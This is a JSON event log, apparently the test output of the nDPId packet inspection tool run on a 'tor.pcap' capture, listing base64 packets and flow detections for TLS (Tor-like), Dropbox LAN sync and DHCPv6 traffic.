+01408{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2077,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":37108,"pkt_caplen":794,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":794,"pkt_l4_len":760,"pkt":"UlQAWul3UlQA2EYhCABFAAMM\/HxAADEGvxI+0onmwKgB\/AG7x\/Gvhi1oKbA9uVAYAHv3EwAAFgMBADkCAAA1AwFSe3NuVwW3wewrm0Np+8gZfpw+6\/jzal\/O1PvTkdk53QDAEwAADf8BAAEAAAsABAMAAQIWAwEByAsAAcQAAcEAAb4wggG6MIIBI6ADAgECAgkAnJid7KPSoQwwDQYJKoZIhvcNAQEFBQAwIDEeMBwGA1UEAxMVd3d3LmEzdXljZGYzcm41bWQuY29tMB4XDTEzMTEwMjAwMDAwMFoXDTE0MDIxNzAwMDAwMFowHjEcMBoGA1UEAxMTd3d3Lmw3eHZ5c2ZudmtiLm5ldDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0E2BOtnhLWOrZ8fxoxHjGhRWK1of38SpSBNg5b\/k4kfDQHGdL4hq3fcEtr78BJMr4Zf+dYRrf\/i8rLos33njMgo8oJqA1j9vg7wEx0spYhdfQskm1dLeQGZDN8DvyEqgknxhybcPAzyUGQZRPqosoPpI5OTClxfRzUMzk7OKJS8CAwEAATANBgkqhkiG9w0BAQUFAAOBgQAm4jj3CZ6E1Ur8DviH98154vz0x1VeY822f6PAgvXyJtEympFvro6oRz0e84wk+8Qk0u0CdxDSjoRRjMK6lpFUg\/ercM64yiXv3o0lSyuqYxq\/SsO88j6J4ug5YwlK8Ehm1An0BaEAIegLyliXKN+BU5QRzDZbd+6KUfKBngbsihYDAQDLDAAAxwMAF0EEovB5\/SW2DTHDDu+OYi9steUmfdbRCgSfNJGR4sNXRhl4hDgZfzXk2twIBJG8Grnw6YRIQGWT5IV1zZmnjnqbwgCAJ5r93gRCIdpZBfFMdDkPE2+t\/hq3eVxsiAp1+p8jigUZ61y99H5SXlIgzrbD14E0t9D2JNq7y+mW7anG7udz8ud8\/ae4433FISa8H+fPWATMTLX2XMO5nykP2OL2RzB12Z2Luv3SScQUiuIYkRAZLPfzndYQO4drRpTnAK0HOmMWAwEABA4AAAA="} +00950{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2077,"source":"tor.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":6,"flow_first_seen":1383822190886,"flow_last_seen":1383822191037,"flow_tot_l4_data_len":1102,"flow_min_l4_data_len":20,"flow_max_l4_data_len":760,"flow_avg_l4_data_len":183,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"62.210.137.230","src_port":51185,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"www.6gyip7tqim7sieb.com","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"184d532a16876b78846ae6a03f654890","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"CN=www.a3uycdf3rn5md.com","issuerDN":"CN=www.l7xvysfnvkb.net","fingerprint":"EE:86:E7:21:36:93:23:30:DB:A0:09:48:55:16:CB:A8:E9:DA:01:D0"}} +00591{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2078,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":41090,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"UlQA2EYhUlQAWul3CABFAACuCO5AAIAGZf\/AqAH8PtKJ5sfxAbspsD25r4YwTFAYAP0z3gAAFgMBAEYQAABCQQRyKTQEXNEYBPZV3\/zEfTQkWpNPJBiGRL97y9vdutfsluomI+BM\/wATV9EXLZXU4z9ZBfdBaPDrleVfhRSEO4dsFAMBAAEBFgMBADDeTPLuhZGymstjqXonoYXbszTd6MvHlO4reIE7DIAVoLx2Ew2CndrSlYijv1enZdc="} +00492{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2079,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":163678,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"UlQAWul3UlQA2EYhCABFAABj\/H1AADEGwbo+0onmwKgB\/AG7x\/GvhjBMKbA+P1AYAIMjzwAAFAMBAAEBFgMBADAMkj8NEfgHVt41gvVoGZmSjJhPRcEYixw81Fk5SSn\/jCrlEY8yRundvc02RY4WwzM="} +00509{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2080,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":164491,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"UlQA2EYhUlQAWul3CABFAAByCO9AAIAGZjrAqAH8PtKJ5sfxAbspsD4\/r4Ywh1AYAP2+LAAAFwMBACBL1ibhXCdYHNj2E4PTgng+oqeH24GkH8CHyZvt8J3ixBcDAQAgEkRPKK9bVsaEt1jzbATo6gi5Jrhe3QmS4lNa9Qi2Z+w="} +02389{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2081,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":261926,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"UlQAWul3UlQA2EYhCABFAAXc\/H5AADEGvEA+0onmwKgB\/AG7x\/GvhjCHKbA+iVAQAIOHNwAAFwMBACAkBlPlDToh5NjQPtxYQe526GbVe90miqswtvBnvkBl9hcDAQXQ6tpRF3oZJal\/nVYbzucrBK2D7YXJC\/IIzQrki5GM\/\/kgKSRW48AywhBBMqPsX3k6JxIOaQfPIgRxcHMY6lsMMXMDgGcNEd6JuRAh+PaYQ3ZOzsdIsyCph1md4B9nTGo\/uu9qSN\/TvjBfdIVs4IovVqI0c5KRsu9IAKHsAC3x7xBz0BeIiO5I73VmbQTICUtGfRcHmn8bjCsNkSKTIxG56LCX4M2DoY7VNECLoxMBwaxIY9CqTbEnOpt9XYowMWFzTDEwdKDzDk1mFL8HsSfGJmFwszJ\/3cbzwiPVlbA+rQncmR2c0uqQbmpZFNPe7gupogdPAHQoIA1eiY0RoBrjGkZSEY2qZYBJFDLrY+9QrsLielG3G7MgXnmzvf9MncfqxIaDup\/7\/ryBeGkvRNidXNoRqJu2qJCSFZFClvVWT3AxnqMlVwJMGjVjsSG2BfarxWfiv1Lcd1nzguGjIP2rhh3yglY4zoAkeT3TlmXChbBl5kagptSlhr8wnmiTikcWgd0vSNs1xd246wGyMY6NRIQZU5+uUghbVH\/HHHrGa+9cPNjzM6zp1KY+rTcix9p+wUNygvVhFPCP+hkUyiSz9THkjBPh8GDbFMtEsqqYXPzQowaN938E347BuV7Y0RXAZkrFJqIuWYJLxUAFXL6DIEKhZ\/ZGFDv41qtdux1ERpzXgZH2xl+gkLJtQE7ZkK8XFAXmseGXDY092a3QpmeSPwxduT7L7\/xWtRtu5GwBc6xpGpngD\/jswhQuDiaCDTLu7z39GYBpaak40bS4KaBgl94uyksOQ2ew6ELguoL5OMJ7MeikdGbMIxEGc7Kcwo5sLfSGWtZj0mX2TfGSmNuS48dDJn0z6PE4MCgIUfe7zTb4+4mO4zHfDPeJazl1VHf\/Cc4HbUFkg64GdlHtU9ejW\/+nIFHDrJrR7FKq5060F5UHx51Vw1bFl1j3pJ15Ga+nrgKMoTsmwswB567CXfXwcdI+rnwnf0IbFMFzoWxYDQTM+VbQEt23ROGqssAzcLIKpwZ8bvepPLFS7h2LJsiOYhl7pLrUsoDBFmL7TAueeugXhe6qUi+hDNWV6hrCUYFxPagO\/XUJjPQpY6gavOgpEavDMn0Cl9oYff1pqXy85FT269EupXBlllB7zowwPcwtcwUAlYUS6ApxUDwceKb3PyweKnMsCvJxh\/lEjKLiBzk4V35dtf8DO+8KGNsH9We7IVtTv1LxzUZbGctbkpLWMrS8rFyS0MUTOOHJ67Shq8vc4CFHo0uB1zbwTllcxYF2u+E1fskznQuX0mo2Sli53Wv3oggLVMzMBMXQhG\/0\/712yp6JL9A6hXgqsjEMLnM9HAgzDkLa0PCYN1Pyx3tCNQB+2LbuRQqG7BrVWCKHeRyeysBpja4JzG5ey8QDflv8PGWViVgg5nIziygVhS9KlJgKI9s7ADkkpU89injRnv4YIpbdqL2pC933M\/8K9KOZGiZhcQMHimt4cOaohsItUf5K802UhQ1b4ToB81jJWwXeokQVXfPRt9rIyXqy\/sxZMdc0+EK6OsPhBLHlH9PI27uIEdnGl6\/ho5exj5FjDJRHY3QMoVh9FCee7nGm4FljuHNMkU4+Rv4NUAFvAHhIwHpMVz0sovf7KzChhmoxXw2umMi3Ft7BCOExD3cHLW9DmDbQe7KEUEdkcqE7QNbdPyDdLA5aYteM3\/voDeM02tQQajhnu\/5sTxN2yJr93su\/Zg7VKh8ZfOy+KfawpIqjnPn9BrWTFddcTiLCKje3xQRbX3ze9nVeWT0QL4Z2ov4Ch9nQgOZrHQZJQOrov81asBvtr7VyonepTHVcCdHTi6eA03x72UqxNTLorPY0dvtS8whMhVVOcv6YwlYmR3TKrYYMxdBnEdGmE0A="} +00509{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2082,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":262066,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"UlQAWul3UlQA2EYhCABFAABu\/H9AADEGwa0+0onmwKgB\/AG7x\/GvhjY7KbA+iVAYAIP1\/wAAojeYv9WBh72O2RNpegkav3tigk0Kff0bc8dEvqjX7o6Us2kktDlSuMUONO4oliUxutOvDaKijvkhNxjfkueIsfxqviD5QA=="} +00415{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2083,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":263364,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"UlQA2EYhUlQAWul3CABFAAAoCPBAAIAGZoPAqAH8PtKJ5sfxAbspsD6Jr4Y2gVAQAQALigAAAAAAAAAA"} +01209{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2084,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":265080,"pkt_caplen":640,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":640,"pkt_l4_len":606,"pkt":"UlQA2EYhUlQAWul3CABFAAJyCPFAAIAGZDjAqAH8PtKJ5sfxAbspsD6Jr4Y2gVAYAQA6NgAAFwMBACBWoECUm11WtJl6mj1J2h9mnwGLYqglfOMUGXPVsm5AFRcDAQIgsbqaxnApccXkkOJmHLUd6mIhvav7crtZzRw5lgXrYStYtrU4aSs94A4L7Jr0KGBXnOth2eeI2eAeXEJPhKpb\/hW4srouMFAYhROgffcmaLU5hs+gl\/Og6\/CBa0Nr4yvBlAvIYWghCvyevyK\/dW5EoOk+Ihsjxd\/JDIJ6cNIZ2yXWqjQ1b6WAjNxZ\/ZzpifmfFskVyEoFtVa8K4pNy7Smjh\/ulJyLDukD9TJ8BGB6RfZy2uI7P4lYR2wPtKaj8y+DHVdZRcLjr\/3iFg9c7LBbEH0OlsIQJyl1OPs2KLXsLlKEcFtS1Rqp2iiY+i\/C8x6fXx+VXo1sTFdalQ38MUbzKggMNBEsxpBPbz13iexFblE8Cog+BzBAIaJVNPzXi7iSV9\/mcFpBFrZBzaudfzNP8IcMHuD5uPo2cvhJmhAVsaltQ+wiVrI5vy7aanv0f0l5tx99tBwI69ovSJMNSrtGpc7BoZ6sietyZoIajr3Q4WTqwnFq\/KrpghcodRzAfKU83ZCGbLcsGVHZh57nr42poIrTDSKRGGFtNMLOMpHIc6WUBanPBLJKrL2\/4v\/e8h9N3IAdFxoJ40X7+Iuwy5tMu+bQnO2R6cMflBiBxzfjFcQCrfXCHnl79eQBnDfw0\/M6Y4MjSeaIhv6E5qBr56HvAQaN62CyWuYUDx4K7yIyXqkJNUOgnnw4ExLZDyz1jrK7OSqBU9\/Blup3IZYO1zOgXw=="} +00410{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2085,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":358975,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"UlQAWul3UlQA2EYhCABFAAAo\/IBAADEGwfI+0onmwKgB\/AG7x\/GvhjaBKbBA01AQAIwJtAAA"} +01208{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2086,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822191,"pkt_ts_usec":359461,"pkt_caplen":640,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":640,"pkt_l4_len":606,"pkt":"UlQA2EYhUlQAWul3CABFAAJyCPJAAIAGZDfAqAH8PtKJ5sfxAbspsEDTr4Y2gVAYAQARWwAAFwMBACAuvjLwx5Ij+UiLubXh24xjovbhHshGFWxLeDm0Yn\/KsxcDAQIg4GvrKssdBI6vk16PFTL1ZQoyHDdsLMK87\/Ckbc\/nBbwIBkGCazdevjsqp6O1G0BA8yHKQpnjvgZTWsLCk6QsUMZp4UEWHBLuexU0lZtwTVqBpMK+fW6BOoCAtTr3ECobkL48HhiQINfsvquZMF\/R9gTOctgGhvQoGR\/zSYk3S9An7he82PaHez\/ZL0rv7z8u\/NYrlsnKo4BvgvaB4kulUKF\/iZDy08QpfgxFh3noi0\/EOHwmzUi\/kziJdGz6VYzExgpm8lI59GODUlNXByTSzfNxZV+KDT1Bzi8jLytsSdsNH1PE+FZMwodMLQdpkNfa1RGj9HFQojtb0SDnZfYy63iwUz2sl3WKpa3p0Dg82FDWvqF5znbcCu9CNrLuFjkOBouKPYofcoNc+ShlqMEP8zL0hYeRgPWOjtEF5JFGJwvsqK0RINh9opmX+CTewaSls4yYjP8XAJjEJnpbgKWbMomo9InR\/sYdKkYQ9vSBd84peWT1i7pz6rxZz3oKfYXNB5xk9meqL76dC765FgmHEafXckoiK7bPU06dFkQtnA30wg4Ty7XiVwo3D54gy0K0\/CFXRNsLB6HhaMlf4Q3\/WOXZVGruBa+r7yodynU78lhkoWtJU7yRny6nFEFcedD3ZfIBbXggMeFoiYbazzJTNjXC0cOkTY1HGlFJgpUhB8EGB6IoQ9bge4u88fLohba3crZLpWcFQK5eFkf3LQ\/pNg=="} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2097,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822192,"pkt_ts_usec":212065,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2097,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2107,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822194,"pkt_ts_usec":212377,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2107,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2136,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822196,"pkt_ts_usec":212154,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2136,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2193,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822198,"pkt_ts_usec":212107,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2193,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2231,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822200,"pkt_ts_usec":212110,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2231,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2318,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822202,"pkt_ts_usec":212073,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2318,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2421,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822204,"pkt_ts_usec":212100,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2421,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2544,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822206,"pkt_ts_usec":212118,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2544,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2564,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822208,"pkt_ts_usec":213723,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2564,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2577,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822210,"pkt_ts_usec":212300,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2577,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2632,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822212,"pkt_ts_usec":212113,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2632,"source":"tor.pcap","alias":"nDPId-test","type":38} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2685,"source":"tor.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1383822214039,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00593{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2685,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822214,"pkt_ts_usec":39100,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2685,"source":"tor.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1383822214039,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2687,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822214,"pkt_ts_usec":212221,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2687,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2719,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822216,"pkt_ts_usec":212093,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2719,"source":"tor.pcap","alias":"nDPId-test","type":38} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2745,"source":"tor.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1383822217531,"flow_last_seen":0,"flow_tot_l4_data_len":97,"flow_min_l4_data_len":97,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c583:1972:5728:7323","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00542{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2745,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822217,"pkt_ts_usec":531372,"pkt_caplen":151,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":151,"pkt_l4_len":97,"pkt":"MzMAAQACUlQAWul3ht1gAAAAAGERAf6AAAAAAAAAxYMZclcocyP\/AgAAAAAAAAAAAAAAAQACAiICIwBhDIMBZjPcAAgAAgAAAAEADgABAAEXdNYHUlQAoBS4AAMADA5SVAAAAAAAAAAAAAAnAAsACUVuZGlhbi1QQwAQAA4AAAE3AAhNU0ZUIDUuMAAGAAgAGAAXABEAJw=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2745,"source":"tor.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1383822217531,"flow_last_seen":0,"flow_tot_l4_data_len":97,"flow_min_l4_data_len":97,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c583:1972:5728:7323","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","ndpi": {"proto":"DHCPV6","breed":"Acceptable","category":"Network"}} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2775,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822218,"pkt_ts_usec":212163,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2775,"source":"tor.pcap","alias":"nDPId-test","type":38} 